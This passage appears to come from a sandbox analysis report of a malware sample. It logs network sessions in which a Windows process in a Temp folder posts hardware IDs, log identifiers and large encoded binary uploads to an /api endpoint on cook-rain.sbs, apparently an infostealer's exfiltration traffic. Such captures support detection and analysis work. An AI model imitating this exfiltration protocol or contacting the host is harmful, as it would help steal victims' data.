2024-11-18 18:04:51 UTC	15089	OUT	Data Raw: 2d 2d 58 48 53 44 50 36 51 47 45 41 4b 41 45 56 30 33 4c 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 58 48 53 44 50 36 51 47 45 41 4b 41 45 56 30 33 4c 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 48 53 44 50 36 51 47 45 41 4b 41 45 56 30 33 4c 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --XHSDP6QGEAKAEV03LB2Content-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--XHSDP6QGEAKAEV03LB2Content-Disposition: form-data; name="pid"2--XHSDP6QGEAKAEV03LB2Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 18:04:51 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ud9p0d9cd4nmcg9fi6krg5fdvp; expires=Fri, 14-Mar-2025 11:51:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B5t1hPYDCId1yePSxsaNOVDAn3RQL8ngs2ovRp3bFrxOYDMqZSqssTcWoTCohTeFMburvLJ%2B0fZ%2Fh37I1uY2q4CID5FcIqgVtPEgwyXrfl%2B8Atx7AW1Pz0iuQdtJKAzo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2a4681e2d61-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24544&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16027&delivery_rate=117403&cwnd=32&unsent_bytes=0&cid=3c935410141dae53&ts=751&x=0"
2024-11-18 18:04:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50022	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:55 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DQXC3KKGBGZF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20537 Host: cook-rain.sbs
2024-11-18 18:04:55 UTC	15331	OUT	Data Raw: 2d 2d 44 51 58 43 33 4b 4b 47 42 47 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 44 51 58 43 33 4b 4b 47 42 47 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 51 58 43 33 4b 4b 47 42 47 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 51 58 43 33 4b 4b 47 Data Ascii: --DQXC3KKGBGZFContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--DQXC3KKGBGZFContent-Disposition: form-data; name="pid"3--DQXC3KKGBGZFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DQXC3KKG
2024-11-18 18:04:55 UTC	5206	OUT	Data Raw: ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Wun 4F([:7s~X`nO`i
2024-11-18 18:04:56 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ugi4h0gi05pslsl625t23ahku6; expires=Fri, 14-Mar-2025 11:51:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BhJ7fOHiZoJbuyL2v902tolxsNoc%2FvxpQG8LprULEHhSDp3wZpSyY5atMEnrtU7PiREGAohVKsQ%2BGuMNtrtDaIWkCPFOMG65b9QredYHJGCwPchJua%2B2q9T%2FB2wRbR09"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2be48b62c54-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24371&sent=19&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21490&delivery_rate=118659&cwnd=32&unsent_bytes=0&cid=7a10f2717251e0b3&ts=811&x=0"
2024-11-18 18:04:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50042	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:01 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7WXKIV6TWWXE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1272 Host: cook-rain.sbs
2024-11-18 18:05:01 UTC	1272	OUT	Data Raw: 2d 2d 37 57 58 4b 49 56 36 54 57 57 58 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 37 57 58 4b 49 56 36 54 57 57 58 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 57 58 4b 49 56 36 54 57 57 58 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 57 58 4b 49 56 36 54 Data Ascii: --7WXKIV6TWWXEContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--7WXKIV6TWWXEContent-Disposition: form-data; name="pid"1--7WXKIV6TWWXEContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7WXKIV6T
2024-11-18 18:05:02 UTC	1001	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e236hq4cd2c5riofdaogm1n8ad; expires=Fri, 14-Mar-2025 11:51:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xPKIm6g8mdI5nzCbAJaWpN%2FOYeG%2Fm7se5rFh9mr4AAkQTT2clgqdOp8Q1ZdaGAEGJIgfvITuo8Xxvao5JC7aMCzZSeISVsWU2nP895K6KZmy1GgNJUKvtRKFHVxto9PZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2e73880bfdb-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18642&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2180&delivery_rate=154808&cwnd=32&unsent_bytes=0&cid=b5ec4fdd92cf63b3&ts=480&x=0"
2024-11-18 18:05:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:05:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50044	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:04 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q5MPYVJFBKJDN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565931 Host: cook-rain.sbs
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: 2d 2d 51 35 4d 50 59 56 4a 46 42 4b 4a 44 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 51 35 4d 50 59 56 4a 46 42 4b 4a 44 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 35 4d 50 59 56 4a 46 42 4b 4a 44 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 35 4d 50 59 Data Ascii: --Q5MPYVJFBKJDNContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--Q5MPYVJFBKJDNContent-Disposition: form-data; name="pid"1--Q5MPYVJFBKJDNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Q5MPY
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: b8 76 f1 41 1e 20 4f af 9c 50 2b 2f 5a b0 ff 8a c4 ec 1b b5 7e fd f6 18 a0 b4 50 db 9b bf 5c 2f 47 1f 2d 67 2a 0c 8d 86 26 97 03 08 20 76 82 18 73 24 59 0c 28 4c 42 99 8d 70 c6 29 17 ba 8b 20 68 57 c6 c2 3c 6c 2c cb 06 1d 96 21 b2 71 80 ed be 0b 3c f5 59 b0 41 83 b0 8a 8e ee 6e 6c 9f 09 af e5 ff ff 20 3a e5 10 a0 16 77 80 79 1e 10 6f 42 ce 63 02 46 1f 0f cc 4b 51 b8 92 11 1e 51 66 b1 d4 9b 51 ce 0b 71 fe 21 1a 3d 35 a3 73 88 86 76 9d d6 10 fd 88 14 e2 2d ec 53 32 1c dd 79 40 b3 fc 5a 80 09 3a 76 d7 0b c7 32 48 4e 05 26 ef e2 96 68 50 fc b6 3f a6 85 27 7c 46 70 6b b7 14 d5 89 0d c5 8c d6 24 bd 5c 99 52 e1 4c 6b 26 92 ab cd 65 d5 87 61 99 de 12 60 ed ca 99 29 29 c5 14 5d c0 2c 18 a7 ef 34 fb bb c8 33 1b 9c 84 d9 84 75 f9 da 5e 33 93 89 0d 07 05 32 89 9e 89 Data Ascii: vA OP+/Z~P\/G-g*& vs$Y(LBp) hW<l,!q<YAnl :wyoBcFKQQfQq!=5sv-S2y@Z:v2HN&hP?'\|Fpk$\RLk&ea`))],43u^32
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: 8f ed 13 a1 20 1d b4 a9 f0 9f 13 7f e5 8c 6f 14 b5 1b 03 23 55 de 2b 68 f5 de 69 50 4c 48 be cf 50 17 b6 9e dc 89 ee 71 6e 0c f3 3f 93 1e fe 48 58 77 a4 d6 25 82 ab 80 81 55 b6 28 33 16 2a 42 0e ca bc 85 89 35 96 5f 2d 5e 04 53 77 a0 05 91 e9 75 57 1f 68 e6 f7 91 40 55 24 a8 32 6c 74 f9 84 4b a7 a9 b0 18 48 6e 2a 25 f8 da 2c 69 d9 d9 1c 0e 3c ab 8e f7 4e 58 b2 52 aa 4e d8 4d 0f 21 9a bc 30 8f 3d 86 26 a0 58 a9 c5 ab df e4 36 ea c4 dd 94 e8 06 53 0a 8d 41 33 a8 c6 f2 0a c4 f3 26 e5 19 7b f2 ed 53 29 4e a8 d1 db 45 60 52 bf 98 12 3c 79 f2 ca b1 92 df 1f 84 76 96 67 ad 72 a9 19 7f 66 67 d1 d5 78 30 e2 ec 73 f1 dc 7d a9 ed ed f2 08 9d f3 5d ec ef 0f 9d 9d 3f 1f 93 b9 f0 41 13 09 ef 66 64 ba 57 92 50 84 b6 e7 b5 03 5b ad d2 c8 ff d4 79 87 60 1e f2 7d b3 f9 4f Data Ascii: o#U+hiPLHPqn?HXw%U(3B5_-^SwuWh@U$2ltKHn%,i<NXRNM!0=&X6SA3&{S)NE`R<yvgrfgx0s}]?AfdWP[y`}O
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: 31 b7 84 e1 3b 37 4b 4f 10 82 15 07 c3 62 7b 45 0a b4 47 a4 c1 c4 5d d3 f0 ec d4 94 97 d8 99 c1 f1 d2 41 7d f9 98 70 47 9b 43 15 7a d7 30 e5 40 bb a6 fd 70 a4 c4 ba d3 94 17 43 0b 56 a8 de 64 8c a2 78 6e a2 47 c8 92 60 d9 49 1d d5 a0 eb 05 84 2e 88 b8 45 d7 2d 3d 55 49 fd ee 36 c4 b2 99 ca 5f 4c f9 5b 9f 21 d5 a6 fb 46 1e 0c 5e 1a 29 24 9f 5f 16 2c 36 64 0c 7f 2b 3b 48 a8 6d bf f3 7d 18 e9 90 bf 02 ea c3 ae 7a fc 1a 52 f8 34 9c 59 0d b4 c3 d5 b3 77 a1 69 ad d6 25 f3 9c 4d a7 8f 92 34 80 63 bb 4a 4a 3c 26 3d 1e 95 3b 8a 6f fc 56 57 f3 de 91 e3 f4 a8 f3 58 53 e9 03 a1 c2 90 11 df 4c 89 2b b1 54 5b 3a fc d6 a5 f1 72 05 b2 cf 51 d3 51 9d 54 f7 8e 6f 14 da 55 61 8f e4 2f f3 5e 1d 2d 9b 8c 1f 24 37 db a8 51 4e b5 d3 1b 4c fa 21 11 1f 8a 16 db 78 68 63 41 80 31 Data Ascii: 1;7KOb{EG]A}pGCz0@pCVdxnG`I.E-=UI6_L[!F^)$_,6d+;Hm}zR4Ywi%M4cJJ<&=;oVWXSL+T[:rQQToUa/^-$7QNL!xhcA1
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: cb 1b a2 76 72 c6 05 70 b3 73 a5 5a 25 6d 9b 28 fd 04 b4 96 4a dd 0d b6 52 14 36 3d 4a 06 35 19 f6 2b 5e 9e cc b7 7d 67 98 64 3c de 8e 13 9d 8a 57 8d da d1 27 3e a8 bd de 2e 43 b4 e7 9a 1c a5 b0 8f db 7a 52 fb 5a 02 27 69 3e 5f 8e e1 7d 57 76 75 a9 80 a0 23 ca 69 1d 4f 1a cc ca 51 3e ca 68 08 ab 40 1e 84 15 ae 00 68 09 7b 88 25 0a 7e f0 b6 fd 10 6e 21 06 bb 61 d7 a5 39 c8 1a 0b 11 f4 48 64 10 74 dd 5d a5 91 0f b2 00 f6 2a 94 43 bf df 96 b2 1c a7 3c 3c ab f8 60 16 a5 ec 32 cc ce 83 56 f6 0a 31 77 79 02 53 ec b5 11 2c 73 ae ff ee ee bd 9e 9d b9 e2 95 57 77 63 d2 dd ea 98 e3 39 a2 53 ce 09 f1 62 c1 0e 78 19 d9 be 6f 49 f0 f1 cd d8 1d cd 92 8b 4e 7a 04 09 cc 85 58 c7 be 55 46 a0 bf 4e d7 bc 4d 85 95 43 76 27 68 56 1c fd fe 43 38 41 07 d2 35 75 f9 17 68 6f a0 Data Ascii: vrpsZ%m(JR6=J5+^}gd<W'>.CzRZ'i>_}Wvu#iOQ>h@h{%~n!a9Hdt]*C<<`2V1wyS,sWwc9SbxoINzXUFNMCv'hVC8A5uho
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: fe 29 61 c3 dd 70 a4 05 b1 f1 dc 2d 55 0c cb 84 cf ee 5b 2d a3 23 08 57 28 89 45 20 00 97 1f 02 a0 7f 23 dc 3d ec 3a ca bf 77 82 d9 3c 51 59 f6 34 01 85 7e bd f1 14 f1 19 1c e0 19 01 9a 0c 66 19 cc 1e 9a 7b ec 10 19 66 03 d1 9e 97 27 b0 44 7f c2 4d b0 18 f1 68 ef 51 c0 72 b7 09 1d 11 04 81 7a eb f7 65 3c e5 8b 75 08 90 00 bc 0b b6 40 58 2f 86 98 3b 52 2c 2d dc 4a cf 79 10 fe 74 dd 2f 6c 50 d0 f7 f0 b2 ed 7c 65 cf 2e 37 89 bf 59 4f bc ce 8e b5 a2 5b cd f0 f7 df 5b f6 01 ef 28 fe 89 1c b5 42 27 11 e0 a6 64 37 08 36 c8 51 01 72 e2 ec b3 8a 8c 2f e2 5f 20 ef 28 8d 82 32 29 68 ba 73 49 36 96 d1 53 82 93 cd 3d 83 18 1e 13 a5 f6 ed ef de 09 26 47 94 70 8c d3 12 12 7f 4a 93 df 89 52 4f 10 89 cb 3f a5 ba 45 80 b0 74 f4 ad af 90 dc f5 02 37 02 da e0 ef 8c 3a 8a da Data Ascii: )ap-U[-#W(E #=:w<QY4~f{f'DMhQrze<u@X/;R,-Jyt/lP\|e.7YO[[(B'd76Qr/_ (2)hsI6S=&GpJRO?Et7:
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: f4 7a c5 dd f0 66 b2 eb c2 cb 29 fb d7 87 bf 60 7f 16 2f 5d 79 2e c8 60 73 de e7 94 5f a3 8a 08 08 ef 67 ae bd 24 44 f7 9c 4d 94 72 9d 7b eb b4 af 3d bc 78 a7 35 7d f5 66 db 21 cc 65 47 a4 8b bb 9c 88 79 b1 f2 ba 04 1f c7 a8 bd 85 b7 4d 35 eb 7c 7e b6 f1 c5 ca d2 b5 e2 aa fb 2e 3a 91 55 57 f7 55 ad 76 3b 7e df 4d 62 d1 9c c6 61 c1 fb 50 cd 93 80 d7 3a cf df fa b0 7a a8 4c 47 a9 52 bb 2f 2d 94 1f 77 b7 c8 52 54 ff 43 fa 3c e8 df ef 6e c9 0c fb f9 ca 3a 72 d5 e9 79 e7 70 8e 44 e4 ea 8b db 5e 82 30 a1 75 67 e6 e4 e9 2f 0e a6 fd df 4b 47 53 ed 25 3f 99 7d 3f 98 91 3d 1c c7 9c bd 12 69 ca 88 91 dd f8 2a d4 72 7c 21 ba a1 68 ad e1 ed 7a c3 fa bd 89 13 4e ef 84 43 9e da c0 7c cb dd 31 a8 28 55 0d c9 6a 26 6e e3 6a 5c 21 5e e2 19 48 09 75 84 16 f6 14 5c db 38 e5 Data Ascii: zf)`/]y.`s_g$DMr{=x5}f!eGyM5\|~.:UWUv;~MbaP:zLGR/-wRTC<n:rypD^0ug/KGS%?}?=i*r\|!hzNC\|1(Uj&nj\!^Hu\8
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: 63 b8 04 d8 af f7 1e 6d 54 9e 84 0f 36 61 34 a0 53 6f dc 05 60 57 2f e1 0a 1a 11 e4 61 b9 85 e6 9a 30 ba c2 4b 0d 47 d7 98 aa 83 8e 9e 8d ea 82 cf 3e cb 13 8e 70 c4 d0 e7 b3 45 1a ef c0 b1 b2 26 6b a3 d5 1d aa f2 64 6c 07 3f e4 c4 81 a6 c6 d2 5d 9c 81 55 9b e5 74 61 20 31 04 fb ed a0 b4 17 e7 17 36 3d 01 97 bc 0d 5b 1b 60 6a 1e c5 15 d1 6d 0a 68 b2 ac 04 41 6c 79 5a 5f 30 df b9 a9 dc 58 7c 2d 62 7e 8e c7 9c 11 91 bc 85 03 66 62 66 99 dd 35 54 f1 47 75 e7 e6 3c 3c 1b b0 a6 b8 71 45 28 4f 03 3d 1e 93 c2 37 5b 71 44 51 fe 82 4b c4 c6 39 65 a2 c0 8f 81 d3 d8 b6 7a 6b 2f d8 91 bb 37 92 ac 6d f2 e5 c7 15 05 8d c5 e7 9e 50 f2 2d c2 24 c0 a0 95 d6 07 c7 40 35 be f6 30 8c d5 b0 83 02 39 98 39 d0 5f 16 6b 9c c2 3d c7 cc b8 ca be 6b 4a 48 c1 04 c5 d0 99 80 f0 9e ec Data Ascii: cmT6a4So`W/a0KG>pE&kdl?]Uta 16=[`jmhAlyZ_0X\|-b~fbf5TGu<<qE(O=7[qDQK9ezk/7mP-$@5099_k=kJH
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: 6c 3c 1b 78 8d 26 ea 6b 88 78 cc 63 9c fb 1e 80 5d 68 10 07 42 b3 11 e3 89 7f 43 79 3c 1f f8 98 d2 11 8e 35 5d ca 85 5c 63 a8 55 a2 d4 5d 82 45 75 3c 8c 5b 3e d9 84 8f e1 cb c7 51 dd d7 a7 ef 9a 0e 27 06 21 79 1a cd 59 37 af c9 b4 44 15 26 04 21 4e 32 c6 3c 99 45 67 13 da 02 48 1b bf f2 d2 ba 34 77 11 1a 7f 5b 96 7e 1a 8a 5a 54 7b cd 11 e3 ec 5b 8a 93 4b 9f a7 21 e2 b3 46 2c f3 bc 3c f2 46 cd 6b 50 38 dc 82 67 af 52 63 5e 07 b7 5b 92 48 20 84 70 20 d8 79 49 62 26 2a f3 2d b3 07 2a 7a d1 a0 8e 38 d5 9f 71 5a 60 61 9f b8 ba 78 cc 4f 24 6e 50 56 7e 28 6a b5 ff 80 e7 3b ac a9 02 51 c9 35 32 3e f2 1d df 70 05 48 5f b2 4d 93 14 6a 29 7a d9 be c5 03 d8 c1 7c 83 4e b1 c9 f0 d6 26 51 2a 79 66 ed 0c 68 3b 84 ad e5 92 8c 5f 8d 8d 78 2c ae 45 2f a6 82 f4 93 78 9a 31 Data Ascii: l<x&kxc]hBCy<5]\cU]Eu<[>Q'!yY7D&!N2<EgH4w[~ZT{[K!F,<FkP8gRc^[H p yIb&-z8qZ`axO$nPV~(j;Q52>pH_Mj)z\|N&Q*yfh;_x,E/x1
2024-11-18 18:05:04 UTC	15331	OUT	Data Raw: fe 07 b8 5c 0a 84 ab cb fe b6 72 ac 3b a7 45 f0 bf 80 a4 f8 28 e4 50 d8 cf 43 c6 f3 3f fd 35 63 e1 7b 87 09 0c 03 40 f7 53 65 38 21 c9 42 90 97 e1 e7 ed 2e 31 e1 27 6a bc 19 d7 30 b0 f4 df e0 ea 93 18 34 b6 ee 7e 17 c3 51 2f 58 08 b8 ec 8b d5 42 bd 25 94 76 c5 4b 12 8d 10 5b 36 67 5e e7 5e ce 69 85 34 91 d4 57 8a d1 1a 3e 84 65 0d fe 66 03 d2 82 e6 ea 08 45 02 43 03 c4 f6 ce 92 aa 21 43 31 7c f7 f6 7f f7 ad 2f 37 ad cc 6e e3 a9 81 51 13 fa 43 83 15 1c 7b 3b 9d 7e 12 10 f7 c7 2e 5c 19 c6 6f 2c f1 ad 55 30 e0 a7 a4 58 82 37 40 a0 fe dd 73 06 74 ee c2 ef 0f ff 29 27 fb b8 6e 55 93 8c 20 1b 21 cb 47 91 bf fb 49 d2 b1 4e c4 02 40 dc 2d 3c e2 2e ba 84 e7 29 19 2e 73 71 1b fe 56 9a 4e 0a 31 27 20 d9 86 8b a1 a1 4f 84 ff 23 a3 58 7b 63 2e 4b 58 a5 0e db 99 a8 c7 Data Ascii: \r;E(PC?5c{@Se8!B.1'j04~Q/XB%vK[6g^^i4W>efEC!C1\|/7nQC{;~.\o,U0X7@st)'nU !GIN@-<.).sqVN1' O#X{c.KX
2024-11-18 18:05:06 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:05:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4opqrut8h5nin2hv6ftpnru7fh; expires=Fri, 14-Mar-2025 11:51:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CcVMZ6t9gzydNy%2FwrA1a18iec%2Fb2tKXrPjM7itRw03sfFpGAx3g6%2BbwO7FPmNDoyBcNfuh6%2BVhT4ihr%2FOjmo8CqafTEbCngCAeyHoRbL4czWW56baQTj1ROGpMwfWQfg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2f65c8cb05f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19903&sent=219&recv=538&lost=0&retrans=0&sent_bytes=2829&recv_bytes=568448&delivery_rate=144727&cwnd=32&unsent_bytes=0&cid=427d685545d7e13f&ts=2513&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	50047	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:05:07 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
